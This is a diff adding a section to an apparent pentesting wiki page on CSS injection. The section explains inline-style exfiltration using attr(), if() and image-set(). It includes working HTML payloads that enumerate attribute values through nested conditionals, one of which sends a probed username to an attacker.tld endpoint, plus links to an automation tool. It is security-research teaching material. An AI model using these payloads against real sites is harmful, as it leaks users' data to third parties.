Add content from: Inline Style Exfiltration: leaking data with chained CSS con...

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src/pentesting-web/xs-search/css-injection/README.md

@@ -107,6 +107,50 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
 > Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\
 > No worries, just check the **output** because **you can see the flag there**.
 
+### Inline-Style CSS Exfiltration (attr() + if() + image-set())
+
+This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
+
+> [!WARNING]
+> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
+
+- Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
+- Read: copy the attribute into a CSS variable: `--val: attr(title)`.
+- Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
+- Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint.
+
+Attempt (does not work; single quotes in comparison):
+
+```html
+<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
+```
+
+Working payload (double quotes required in the comparison):
+
+```html
+<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
+```
+
+Enumerating attribute values with nested conditionals:
+
+```html
+<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
+```
+
+Realistic demo (probing usernames):
+
+```html
+<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
+```
+
+Notes and limitations:
+
+- Works on Chromium-based browsers at the time of research; behavior may differ on other engines.
+- Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging.
+- Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content).
+
+Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
+
 ### Other selectors
 
 Other ways to access DOM parts with **CSS selectors**:
@@ -779,8 +823,11 @@ So, if the font does not match, the response time when visiting the bot is expec
 - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
 - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
 - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
+- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
+- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
+- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
+- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
+- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
+- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
 
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